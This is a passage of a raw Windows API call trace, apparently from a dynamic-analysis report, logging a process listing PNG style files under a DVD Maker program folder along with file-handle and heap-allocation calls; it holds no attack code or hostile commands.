nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0066.486] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0066.486] GetLastError () returned 0x12 [0066.486] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.486] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0066.487] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0066.487] GetLastError () returned 0x12 [0066.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.487] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.488] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0066.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.488] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0066.488] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc1510 [0066.488] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc1510, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc1510, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc1510) returned 1 [0066.488] NtClose (Handle=0x148) returned 0x0 [0066.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.532] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.532] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1528 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbeff8 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1548 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1568 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf100 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1588 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf208 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc15a8 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb87b8 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.534] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc15c8 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf310 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc15e8 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf418 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1608 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf520 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.535] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1628 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf628 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1648 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap 